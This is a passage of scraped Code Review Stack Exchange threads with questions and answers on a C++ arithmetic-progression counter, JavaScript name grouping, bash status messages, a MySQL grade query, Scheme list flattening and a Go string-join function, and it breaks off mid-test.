<pre><code>#include <iostream>
using namespace std;
int main()
{
int input_length;
cin >> input_length;
int correct_sequences = 0;
bool* whether_itroduced = new bool[input_length + 1]{0}; // true - if number was already introduced and false otherwise.
for (int i = 0; i < input_length; i++)
{
int a;
cin >> a;
whether_itroduced[a] = true;
int range = min(input_length - a, a - 1); // max or min number that may be in the subsequence e.g. if introduced number a = 3, and all numbers are six, max range is 2 (3 - 2 = 1 and 3 + 2 = 5, so the longest possible subsequence is 1, 3, 5)
for (int r = range * -1; r <= range; r++) // r - there is a formula used to count arithmetic sequences -> an-1 = a1-r, an = a1, an+1 = a1+r, I have no idea how to explain it
{
if (r == 0) continue; // r cannot be 0
if (whether_itroduced[a - r] && !whether_itroduced[a + r])
correct_sequences++;
}
}
cout << correct_sequences;
}
</code></pre>
<p>example input: <code>5 1 5 4 2 3</code></p>
<p>correct output: <code>2</code> // {1,2,3} and {5,4,3}</p>
<p>example input: <code>5 1 2 3 4 5</code></p>
<p>correct output: <code>4</code> // {1,2,3} {2,3,4} {3,4,5} {1,3,5}</p>
<p>example input: <code>10 1 5 9 7 4 3 6 10 2 8</code></p>
<p>correct output: <code>4</code> // {4,3,2} {1,5,9} {5,4,3} {4,6,8}</p>
<p>I need to somehow come up with another algorithm that is less than quadratic in time. I can't really see all of the inputs and correct outputs, but I know that the biggest 'n' number is about 32000, so it's most likely that I run out of time because of the algorithm. Do you have any ideas about how can I improve it and make it work faster? Thanks for help!</p>
<p>EDIT: I found a guide explaining how to make the algorithm work quicker. Unluckily, I still have no idea how to write the code as the guide seems very unclear for me. Here's the guide:</p>
<p>Let’s say that x_1 is the smallest positive number, such that l_(ai-x1)≠l_(ai+x1) and l_(ai-y)=l_(ai+y) for 1 <= y < x_1. Then, the word created by l_(ai-x1+1), l_(ai-x1+2), ... , l_(ai+x1-1) is a palindrome, so a word l_(ai-x1+1), ... , l_ai is the same as word l_(ai+x1-1), ... , l_ai.
Let’s say that x_2 is the smallest positive number, such that l_(ai-x2)≠l_(ai+x2) and l_(ai-y)=l_(ai+y) for x_1<y<x_2. Then, the word created by l_(ai-x2+1), l_(ai-x2+2), ... , l_(ai-x1-1), l_(ai+x1+1), ... , l_(ai+x2-1) is a palindrome.
Also, you can define x_3, x_4, ... , x_k for some non-negative k (we assume, that x_(k+1) doesn’t exist). Considering the above definitions of sequence x_1, ... , x_k, we can assume, that the only arithmetic substrings of length 3 and a_i as a middle element, are a_i-x_j,a_i,a_i+x_j for 1 <= j <= k.
If we could quickly compare two coherent subwords of words or subwords after reversal (it doesn’t make any sense in my language too), words l_1, l_2, ..., l_n, then using binary search, we would have been able to search for numbers x_1, ..., x_k.
The structure allowing us to both compare coherent subwords of words and to update letters of word, is interval tree, in which we will store hashes (you can identify letters from words with positive numbers). In the apex, corresponding to some consistent subword l_a, l_(a+1), ..., l_b, there will be a hash of this subword h_([a,b])=l_a*p^0+l_(a+1)*p^1 + ... + l_(a+x)<em>p^x+ ... + l_b</em>p^(b-a).
Changing the letter in a word and updating the tree is simple. We begin by changing the value in the leaf and for vertex values, which are not leaves and do have sons (?) responsible for compartment [a, a+x-1] and [a + x, a + 2x – 1] the new hash will be equal to h_([a,a+x-1])+h_([a+x,a+2x-1])*p^x. The update works in O(log n) time, assuming that we will remember all previous powers of p.
To count the hash of a subword starting at a-th position and ending at b-th position, first break the interval [a,b] into base intervals. Let our base intervals be [a,c₁], [c₁+1,c₂], . . . . , [cₖ+1,b]. The hash of our word is: h[a,c₁]+h[c₁+1,c₂]*p^(c₁-a)+. . . +h[cᵢ+1,cᵢ+1]*p^(cᵢ-a)+. . . +h[cₖ+1,b]*p^(cₖ-a). Thus, one can count the hash of any consistent subword in O(log n) complexity.
// base intervals - when we want to answer a query about the maximum on the interval [a,b], we need to find some set of partial intervals represented by the nodes of the interval tree. Such smaller intervals are called base intervals. Once we have the base intervals, we can reach into the tree and take the maximum from the values stored in the nodes corresponding to the base intervals, thus obtaining the result of the entire query//
To use the presented structure in our task, we need two copies of it.
We will keep the normal word in one binary tree and the reversed word in the other binary tree. This will allow us to arbitrarily compare both normal and inverted subwords. The entire algorithm has a computational (time) complexity of O(n log² n + m log² n) (or O(n log n + m log² n) if we apply a small optimization - we check if a word is not a palindrome before we start looking for all words xᵢ) and computational memory (space) complexity O(n).</p>
<p>Note: of course, indexes I have written in Word didn't survive, so here's screen from Word: <a href="https://imgur.com/a/RaYf5Hy" rel="nofollow noreferrer">https://imgur.com/a/RaYf5Hy</a> Guess that it's not worth your time to fix all those indexes.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T13:34:52.240",
"Id": "513475",
"Score": "1",
"body": "Not sure whether I understand the problem statement. Will the input always be a permutation of 1..n? (IOW, will every number from 1 to n appear exactly once?)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T15:43:53.533",
"Id": "513492",
"Score": "0",
"body": "If I understood what you meant by \"progressions\" I might be able to suggest a faster way to do it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T17:27:25.723",
"Id": "513507",
"Score": "0",
"body": "I don't really know, but I guess that the input will always be a permutation of 1...n."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:03:45.423",
"Id": "513521",
"Score": "0",
"body": "Given the input `1 2 3 4 5 6 ... n`, the number of 3-element arithmetic subsequences scales with n² (I believe it's actually floor((n² - 2n)/4)). So you will not be able to do better than quadratic time if you enumerate every such sequence. You need to find a way to **count** the sequences without **enumerating** them."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:12:44.123",
"Id": "513522",
"Score": "0",
"body": "I found a guide about how I can make the code work in (n log (n) + m log (n^2)) time. Doing my best to translate it asap."
}
] |
[
{
"body": "<p>There's some straightforward and common C++ problems immediately obvious:</p>\n<ul>\n<li><p><code>using namespace std;</code> - avoid that; it makes your code more fragile. It doesn't even make it shorter!</p>\n</li>\n<li><p>Streaming input without checking. If you use <code>>></code>, it's essential to only use the value if it was actually written. For a simple program like this, it's easiest to just set <code>std::cin</code> to throw exceptions when it fails.</p>\n</li>\n<li><p>We used <code>std::min</code> without including <code><algorithm></code>. Include the documented headers; it's unsafe to assume that all compilers will transitively include the same ones as yours does.</p>\n</li>\n<li><p>Failure to <code>delete[]</code> storage allocated with <code>new[]</code>. Prefer smart pointers or containers whenever possible.</p>\n</li>\n<li><p>Use of <code>int</code> for counting where an unsigned type would be more appropriate.</p>\n</li>\n<li><p>Use of <code>int</code> where it might not have sufficient range (<code>INT_MAX</code> only has to be 32867, but we expect values in the hundreds of thousands).</p>\n</li>\n<li><p>Writing output that's not a complete line - just add <code><< '\\n'</code> there.</p>\n</li>\n<li><p>Misspelling of "introduced" in variable name suggests sloppiness. A shorter name might be more readable - I'd suggest <code>seen</code>.</p>\n</li>\n<li><p>Comments that extend far off the edge of the screen.</p>\n</li>\n</ul>\n<hr />\n<p>After addressing the trivial issues, my next concern is that there's no automated tests - we have to drive the whole program from outside to test the algorithm. It's much easier to experiment and make changes if we have a good suite of unit tests.</p>\n<hr />\n<p>We don't need to special-case <code>r == 0</code> if we defer marking a number seen until after that loop (so that the test is false for that case).</p>\n<p>We can halve the work done in the inner loop by testing XOR of the two straddling flags to test both ascending and descending sequences simultaneously:</p>\n<pre><code>for (int r = 1; r <= range; ++r) {\n correct_sequences += seen[a - r] != seen[a + r];\n}\n</code></pre>\n<hr />\n<p>Putting this together, I have:</p>\n<pre><code>#include <algorithm>\n#include <cstdint>\n#include <iostream>\n#include <vector>\n\nint main()\n{\n std::cin.exceptions(std::ios_base::failbit|std::ios_base::badbit);\n std::int_fast32_t input_length;\n std::cin >> input_length;\n std::uint_fast32_t count = 0;\n\n // consider using vector<char> for faster access, in exchange for size\n auto seen = std::vector<bool>(input_length + 1, 0);\n\n for (auto i = input_length; i; --i) {\n int_fast32_t a;\n std::cin >> a;\n const int range = std::min(input_length - a, a - 1);\n for (int r = 1; r <= range; ++r) {\n count += seen[a-r] != seen[a+r];\n }\n seen[a] = true;\n }\n std::cout << count << '\\n';\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T15:41:06.503",
"Id": "513490",
"Score": "0",
"body": "signed is faster than unsigned, sometimes significantly so. I disagree that \"unsigned is more appropriate\"; if you don't need a `size_t` you should prefer signed. Even then, there is a movement to migrate to signed size where possible."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T15:42:20.827",
"Id": "513491",
"Score": "0",
"body": "Your use of `vector<bool>` is slowing it down, since this is a special case in the standard."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T15:56:29.927",
"Id": "513494",
"Score": "0",
"body": "I accidentally removed a comment saying that `vector<char>` *might* perform better (depending a lot on the effect of the larger storage on memory locality). I'll reinstate that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T15:57:24.967",
"Id": "513495",
"Score": "0",
"body": "I never knew that signed arithmetic is faster than unsigned, and it seems very surprising. Would you be kind enough to share the evidence for that?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T16:03:19.427",
"Id": "513497",
"Score": "0",
"body": "There are presentations on signed vs unsigned speed in the major conference videos; I don't recall exactly where. The big deal is that unsigned requires two's complement behavior in wrapping, while going out of range for signed values is UB. This means that the optimizer can make assumptions about signed arithmetic, and the code generator must accommodate wrapping of unsigned values. The presentations give generated code with *major* optimization differences. Surprising? It's been well-known in the community for a few years."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T17:24:29.793",
"Id": "513505",
"Score": "0",
"body": "Surprisingly your code doesn't beat my code's time. https://imgur.com/a/rSA672d"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T17:33:06.187",
"Id": "513508",
"Score": "0",
"body": "Guess that I need to somehow come up with another algorithm that is less than quadratic in time."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:14:50.457",
"Id": "513523",
"Score": "1",
"body": "Shouldn't be that surprising - I just fixed the obvious bugs and maintainability problems. Choosing a more efficient algorithm is left as an exercise. ;-)"
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T12:42:56.903",
"Id": "260153",
"ParentId": "260138",
"Score": "2"
}
},
{
"body": "<h1>no naked new</h1>\n<p>See <a href=\"https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#r11-avoid-calling-new-and-delete-explicitly\" rel=\"nofollow noreferrer\">⧺R.11</a> and a few other guidelines that mention "naked new".</p>\n<pre><code>bool* whether_itroduced = new bool[input_length + 1]{0};\n</code></pre>\n<p>Use a <code>std::vector</code> rather than a bare allocated array. (This also fixes the problem where you are not freeing it, as it becomes automatic).</p>\n<p>On the other hand, <code>vector<bool></code> is weird. It is optimized to be "packed" to use one bit per element, which causes issues with making it behave properly with iterators. That won't bother you here, but you don't want the space/speed tradeoff to favor space.</p>\n<p>So, use a <code>std::deque</code> instead, or use Boost's vector container instead, or actually define it as a <code>vector<uint8_t></code>.</p>\n<h1>use prefix increment</h1>\n<p>You're using postix <code>++</code> everywhere. You should prefer writing it as a prefix. E.g. <code>++r</code>. For <code>int</code> it doesn't matter, but as a general style you should get used to it, as it will generally be used for <em>iterators</em> that are more complex than just built-in pointers.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T16:00:30.997",
"Id": "513496",
"Score": "0",
"body": "`std::deque` seems an odd choice for a container of unchanging size. Why not `vector<char>`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T17:18:08.200",
"Id": "513504",
"Score": "0",
"body": "Using `std::deque` to avoid the explicit specialization of `vector` is something that was published as advice many, many years ago. Using `char` instead of `bool` might be harmless (though not optimal when testing a value since it has to insert a comparison) in this simple usage, in general it may cause differences with overloading, implicit conversion sequences, etc."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T15:38:54.200",
"Id": "260157",
"ParentId": "260138",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T22:42:04.923",
"Id": "260138",
"Score": "0",
"Tags": [
"c++",
"algorithm",
"time-limit-exceeded"
],
"Title": "Count the number of arithmetic progressions within a sequence"
}
|
260138
|
<p>I'm trying to solve a problem of how to group name objects. A name has firstName and lastName properties. Need to group the name objects that have identical lastnames and a similar firstName(aka Tom Smith and Thomas Smith should be grouped together). Case doesn't matter. The firstName equivalency is provided by a string separated by ";"'s.</p>
<p>example:</p>
<p>input:</p>
<pre><code>const FIRST_NAME_DICTIONARY =
"Robert, Bob, Bobby; Liz, Elizabeth, Beth; Tom, Thomas";
const people = [
{ firstName: "robert", lastName: "smith" },
{ firstName: "Liz", lastName: "thomas" },
{ firstName: "robert", lastName: "smith" },
{ firstName: "Thomas", lastName: "hardin" },
{ firstName: "Elizabeth", lastName: "thomas" },
{ firstName: "bob", lastName: "smith" },
{ firstName: "Bobby", lastName: "smith" },
{ firstName: "ryan", lastName: "roberts" },
{ firstName: "bob", lastName: "wallace" },
{ firstName: "bobby", lastName: "smith" },
{ firstName: "beth", lastName: "roberts" },
{ firstName: "beth", lastName: "thomas" },
{ firstName: "Tom", lastName: "hardin" },
];
</code></pre>
<p>output:</p>
<pre><code>[
[
{ firstName: 'robert', lastName: 'smith' },
{ firstName: 'robert', lastName: 'smith' },
{ firstName: 'bob', lastName: 'smith' },
{ firstName: 'Bobby', lastName: 'smith' },
{ firstName: 'bobby', lastName: 'smith' }
],
[
{ firstName: 'Liz', lastName: 'thomas' },
{ firstName: 'Elizabeth', lastName: 'thomas' },
{ firstName: 'beth', lastName: 'thomas' }
],
[
{ firstName: 'Thomas', lastName: 'hardin' },
{ firstName: 'Tom', lastName: 'hardin' }
],
[ { firstName: 'ryan', lastName: 'roberts' } ],
[ { firstName: 'bob', lastName: 'wallace' } ],
[ { firstName: 'beth', lastName: 'roberts' } ]
]
</code></pre>
<p>Here's what I have now:</p>
<pre><code>const groupDuplicates = (list, dictionary) => {
const mappedNames = mapDictionary(dictionary);
const groupByNames = {};
people.forEach((person) => {
// gets the id equivalent for firstName or use the firstName it the id DNE
const firstNameId =
mappedNames[person?.firstName?.toLowerCase()] ||
person?.firstName.toLowerCase(); // example 1 or ryan since ryan dne in the dictionary
const stringifyKey = JSON.stringify([
firstNameId,
person.lastName.toLowerCase(),
]); // example "[1, smith]"
// if key exists push to that array, otherwise create the key and then push
if (groupByNames[stringifyKey]) {
groupByNames[stringifyKey].push(person);
} else {
groupByNames[stringifyKey] = [person];
}
});
// essentially convert object into array
const keys = Object.keys(groupByNames);
const groupByNamesArray = [];
keys.forEach((key) => {
groupByNamesArray.push(groupByNames[key]);
});
return groupByNamesArray;
};
// {
// robert: 1,
// bob: 1,
// bobby: 1,
// liz: 2,
// elizabeth: 2,
// beth: 2,
// tom: 3,
// thomas: 3
// }
const mapDictionary = (dictionary) => {
const nameGroups = dictionary.split(";");
let nameKey = 1;
const mapNameToKey = {};
nameGroups.forEach((nameGroup) => {
const names = nameGroup.split(",");
names.forEach((name) => {
const noSpacesAndLowercase = name.trim().toLowerCase();
mapNameToKey[noSpacesAndLowercase] = nameKey;
});
nameKey += 1;
});
return mapNameToKey;
};
</code></pre>
<p>Seems to work but is there a better way to accomplish this? I think the <code>JSON.stringify</code> seems a little hacky.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T22:23:42.490",
"Id": "513534",
"Score": "0",
"body": "Welcome to Code Review! I rolled back your last edit. After getting an answer you are not allowed to change your code anymore. This is to ensure that answers do not get invalidated and have to hit a moving target. If you have changed your code you can either post it as an answer (if it would constitute a code review) or ask a new question with your changed code (linking back to this one as reference). See the section _What should I not do?_ on [_What should I do when someone answers my question?_](https://codereview.stackexchange.com/help/someone-answers) for more information"
}
] |
[
{
"body": "<p>If you have a simple <code>groupBy</code> function, and group by a string <code>key</code> with format <code>[lastName]|[firstNameKey or firstName]</code>, it'd be cleaner. The following is my version of the code:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>// FUNCTIONS\nconst groupBy = (list, key) => {\n return list.reduce((current, value) => {\n (current[key(value)] = current[key(value)] || []).push(value);\n return current;\n }, {});\n};\n\nconst mapDictionary =\n (str) => str\n .split(';')\n .map((val, idx) => {\n return {\n grp: idx + 1,\n val: val\n };\n })\n .reduce((current, group) => {\n const groupResult = group.val\n .split(',').reduce((gr, name) => {\n gr[name.trim().toLowerCase()] = group.grp;\n return gr;\n }, {});\n return {\n ...current,\n ...groupResult\n };\n }, {});\n\nconst groupDuplicate = (people, dictionary) => {\n return Object.values(groupBy(people, (person) => `${person.lastName}|${dictionary[person.firstName.toLowerCase()] || person.firstName}`));\n};\n\n\n// TEST CASE\nconst FIRST_NAME_DICTIONARY =\n \"Robert, Bob, Bobby; Liz, Elizabeth, Beth; Tom, Thomas\";\n\nconst people = [{\n firstName: \"robert\",\n lastName: \"smith\"\n },\n {\n firstName: \"Liz\",\n lastName: \"thomas\"\n },\n {\n firstName: \"robert\",\n lastName: \"smith\"\n },\n {\n firstName: \"Thomas\",\n lastName: \"hardin\"\n },\n {\n firstName: \"Elizabeth\",\n lastName: \"thomas\"\n },\n {\n firstName: \"bob\",\n lastName: \"smith\"\n },\n {\n firstName: \"Bobby\",\n lastName: \"smith\"\n },\n {\n firstName: \"ryan\",\n lastName: \"roberts\"\n },\n {\n firstName: \"bob\",\n lastName: \"wallace\"\n },\n {\n firstName: \"bobby\",\n lastName: \"smith\"\n },\n {\n firstName: \"beth\",\n lastName: \"roberts\"\n },\n {\n firstName: \"beth\",\n lastName: \"thomas\"\n },\n {\n firstName: \"Tom\",\n lastName: \"hardin\"\n },\n];\n\nconst result = groupDuplicate(people, mapDictionary(FIRST_NAME_DICTIONARY));\n\n// PRINT RESULT\nconsole.log(result)</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T05:05:37.713",
"Id": "260148",
"ParentId": "260145",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "260148",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T02:22:58.577",
"Id": "260145",
"Score": "1",
"Tags": [
"javascript"
],
"Title": "Group by lastName and variable firstName"
}
|
260145
|
<p>As a part of my bash routine I am printing some message in terminal regarding status of the workflow. The message in splited into two parts (part 1: begining of the task, part 2: status of its finishing)</p>
<pre><code>echo -n "Dataset is being processed ! "; execution of some AWK script; echo " Processing has been COMPLETED!"
</code></pre>
<p>Here is realisation in bash contained a part of the AWK code:</p>
<pre><code># print pharase 1: initiation of the process
echo -n "Dataset is being rescored.. Please wait"; sleep 0.5
# this is the process: makedir for the result and execute AWK code to process input file
mkdir ${results}
# Apply the following AWK code on the directory contained input file
while read -r d; do
awk -F, '
}' "${d}_"*/target_file.csv > "${results}/"${d%%_*}".csv"
done < <(find . -maxdepth 1 -type d -name '*_*_*' | awk -F '[_/]' '!seen[$2]++ {print $2}')
# print pharase 2: finish of the result, which would appear in the terminal near phrase 1
# this will print "COMPLETED" letter-by-letter with the pause of 0.2 sec between each letter
echo -n " C"; sleep 0.2; echo -n "O"; sleep 0.2; echo -n "M"; sleep 0.2; echo -n "P"; sleep 0.2; echo -n "L"; echo -n "E"; sleep 0.2; echo -n "T"; echo -n "E"; sleep 0.2; echo "D!"
</code></pre>
<p>While executing this script in bash, everything seems to be OK and I have not noticed any problems related to the parts of the code between both 'echo -n' blocks. May such splitting of the status phrase using "echo -n" lead to some bugs of the routine in bash ? Any suggestions for realisation of such status message in bash using another syntax?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T14:03:23.870",
"Id": "513480",
"Score": "2",
"body": "Micro-review - `printf %s` is more portable than `echo -n`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T07:35:44.327",
"Id": "513564",
"Score": "0",
"body": "Thanks! should I so substitute all ECHO parts of my code to printf when I use it to print some messages in terminal during script execution ? What is the advantae of using printf >&2 ? Cheers"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T13:33:09.163",
"Id": "260154",
"Score": "1",
"Tags": [
"bash",
"awk"
],
"Title": "Printing of status message during execution of the bash script"
}
|
260154
|
<p>I'm currently working on a grade calculator for a university (professionally), and I am wondering if anyone can suggest an improvement to the following query? Here is my database:</p>
<p><a href="https://i.stack.imgur.com/N0Gnw.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/N0Gnw.png" alt="enter image description here" /></a></p>
<p>The query returns the following table:</p>
<p><a href="https://i.stack.imgur.com/3fZ1d.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3fZ1d.png" alt="enter image description here" /></a></p>
<pre><code>SELECT
`course`.`title` AS `course_title`,
`yearGroup`.`id` AS `year_group_id`,
`yearGroupLookup`.`yearGroup` AS `year_group`,
`yearGroup`.`max_credits`,
TRUNCATE
(
COALESCE(
SUM(
`assessment`.`percentage_achieved` *(
`assessment`.`percentage_weighting` / 100
) /(
SELECT
COUNT(*)
FROM
`module`
WHERE
`yearGroup`.`id` = `module`.`year_group_id`
)
),
0
),
2
) AS `grade`,
TRUNCATE
(
COALESCE(
SUM(
`assessment`.`percentage_achieved` *(
`assessment`.`percentage_weighting` / 100
) /(
SELECT
COUNT(*)
FROM
`module`
WHERE
`yearGroup`.`id` = `module`.`year_group_id`
)
),
0
) / 100 * `yearGroup`.`max_credits`,
2
) AS `credit_achieved`
FROM
`assessment`
RIGHT JOIN `module` ON `module`.`id` = `assessment`.`module_id`
RIGHT JOIN `yearGroup` ON `yearGroup`.`id` = `module`.`year_group_id`
RIGHT JOIN `course` ON `course`.`id` = `yearGroup`.`course_id`
RIGHT JOIN `yearGroupLookup` ON `yearGroup`.`yearLookup_id` = `yearGroupLookup`.`id`
WHERE
`yearGroup`.`course_id` = 1
GROUP BY
`yearGroup`.`id`
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T15:12:41.810",
"Id": "513486",
"Score": "1",
"body": "Additionally, you haven't shown the definition of your table(s), without which it's hard to give a good review. I recommend you include these definitions (preferably as SQL statements, so that reviewers can reproduce your test environment)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T15:32:03.733",
"Id": "513489",
"Score": "1",
"body": "That's a great start. A useful method of easily providing information about a table can be done using [DESCRIBE](https://dev.mysql.com/doc/refman/5.7/en/explain.html)."
}
] |
[
{
"body": "<p>Minor stuff: your backticks are distracting, and unnecessary in most (all?) cases. I'd delete them.</p>\n<p>Your use of <code>TRUNCATE</code> seems like a formatting concern and not a query concern. I'd expect that a query like this just return a full, floating-point number, and leave it up to the application as to whether rounding or truncation needs to be performed.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T18:37:58.370",
"Id": "513515",
"Score": "1",
"body": "Oh really? I was told grave keys enhance readability. There's so much conflicting information out there. You bring up a very interesting point about formatting which I didn't consider. But the more I think about it the more it makes sense. I shall remove the truncate. I greatly appreciate the feedback!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T18:13:46.687",
"Id": "260162",
"ParentId": "260155",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260162",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T14:33:59.373",
"Id": "260155",
"Score": "1",
"Tags": [
"sql",
"mysql"
],
"Title": "Calculate course module credits from individual assessment scores"
}
|
260155
|
<p>As part of a text buffer implemented as a piece table, there is an often called procedure to flatten a nested list of character lists. The function is part of constructing substrings of the buffer for display, copying, and cutting.</p>
<p>I have been using a procedure based on Dan D.'s StackOverflow answer here: <a href="https://stackoverflow.com/a/33338608/193509">https://stackoverflow.com/a/33338608/193509</a>. It has worked admirably except for one corner case.</p>
<p>If the user deletes all of the text in the buffer, the list of characters presented to the <code>flatten</code> function consists of a single element list. The single element is the empty list <code>'()</code>.</p>
<p>The "stock" version of <code>flatten</code> does not handle this correctly. I've added a special case to the <code>cond</code> that recognizes the condition and responds appropriately (to my mind any way.) So,</p>
<pre><code>(flatten '(())) ;=> '()
</code></pre>
<p>Here's what I have for <code>flatten</code>.</p>
<pre><code>(define (flatten lst)
(letrec ((helper (lambda (lst acc stk)
(cond ((null? lst)
(if (null? stk) (reverse acc)
(helper (car stk) acc (cdr stk))))
((pair? (car lst))
(helper (car lst) acc (if (null? (cdr lst))
stk
(cons (cdr lst) stk))))
;; Special case for a list containing just empty lists.
((null? (car lst)) '())
(else
(helper (cdr lst) (cons (car lst) acc) stk))))))
(helper lst '() '())))
</code></pre>
<p>But the special case feels clunky and not very general. Is there a better way to do this?</p>
<p>More generally, what <em>should</em> a flattened list containing empty lists look like? I have just assumed that reducing to a single empty list is correct. Likewise, it seems to me that flattening a list containing a mixture of empty lists and non-empty should just return a list of the non-empty elements.</p>
<pre><code>(flatten '(() () ())) ;=> '()
(flatten '((a) (b (x y) c) () (d) () ())) ;=> (a b x y c d)
</code></pre>
<p>Any thoughts on that?</p>
|
[] |
[
{
"body": "<p>So, I started looking at it in a different way, filtering out all <code>'()</code> before flattening. Then I found\n<a href=\"https://stackoverflow.com/a/13333430/193509\">this</a> answer by Óscar López, which is almost exactly what I needed.</p>\n<p>Here's what finally worked:</p>\n<pre><code>;; Filter a (possibly nested) list returning a flattened version of the\n;; list with only those elements that satisfy the predicate function.\n(define (deep-filter pred lst)\n (cond\n ((null? lst) '())\n ((and (atom? lst) (pred lst)) (list lst))\n ((atom? lst) '())\n (else (append (deep-filter pred (car lst))\n (deep-filter pred (cdr lst))))))\n\n;; Return a flattened list from which all '() have been filtered.\n(define (filtering-flatten lst)\n (let ((pred (lambda (x) (not (null? x)))))\n (deep-filter pred lst)))\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T21:06:59.300",
"Id": "260167",
"ParentId": "260156",
"Score": "0"
}
},
{
"body": "<p>In general <code>flatten</code> is intended to flat a <em>tree</em>, not a list, that is to collect all the <em>non-null leaves</em> of the tree in the same order as a classical traversal of the tree. See for instance the definition of <code>flatten</code> in the <a href=\"https://docs.racket-lang.org/reference/pairs.html?q=flatten#%28def._%28%28lib._racket%2Flist..rkt%29._flatten%29%29\" rel=\"nofollow noreferrer\">Racket Manual</a>:</p>\n<blockquote>\n<p>Flattens an arbitrary S-expression structure of pairs into a list. More precisely, v is treated as a binary tree where pairs are interior nodes, and the resulting list contains all of the non-null leaves of the tree in the same order as an inorder traversal.</p>\n</blockquote>\n<p>With this characterization of the function, we do not see empty lists as something that must be “removed” from a list, and here is a simple definition that follows this idea:</p>\n<pre><code>(define (flatten tree)\n (let ((lst '()))\n (define (traverse subtree)\n (cond ((empty? subtree) '())\n ((cons? subtree)\n (traverse (car subtree))\n (traverse (cdr subtree)))\n (else (set! lst (cons subtree lst)))))\n (traverse tree)\n (reverse lst)))\n</code></pre>\n<p>The function visits the tree in the classical inorder traversal, and collects all the non-null leaves every time it finds one of them.</p>\n<p>From this you can define a more optimized version, if you need to.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T16:41:20.693",
"Id": "513620",
"Score": "0",
"body": "Thank you for another take on the problem - and a solution. Which version of Scheme are you using? Does it have the predicates `empty?` and `cons?` built in or are you using your own?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T17:04:11.020",
"Id": "513621",
"Score": "0",
"body": "I tried the program with DrRacket, where `empty?` and `cons?` are already defined. For instance in R5RS they are called `null?` and `pair?` respectively."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T17:14:02.327",
"Id": "513623",
"Score": "0",
"body": "Ok, those are the procedures I used try it out in Chez too."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T14:37:44.320",
"Id": "260199",
"ParentId": "260156",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260199",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T14:58:42.340",
"Id": "260156",
"Score": "0",
"Tags": [
"algorithm",
"scheme"
],
"Title": "Flattening a List containing Empty Lists"
}
|
260156
|
<p>This is my custom function to join strings from an array into one string.
We can provide normal separator and the last one. <code>JoinStringsIntoArray(", ", " and ", words...)</code></p>
<pre><code>func JoinStringsIntoArray(sep string, lastSep string, words ...string) string {
lastElementIndex := len(words) - 1
var joinedString string
for index, word := range words[0:lastElementIndex] {
if index == lastElementIndex-1 {
sep = lastSep
}
joinedString += word + sep
}
joinedString += words[lastElementIndex]
return joinedString
}
</code></pre>
<p>Test for this function</p>
<pre><code>func TestStringsJoinsWithCommas(t *testing.T) {
var words []string
words = append(words, "one", "two", "three")
expectedResult := "one, two and three"
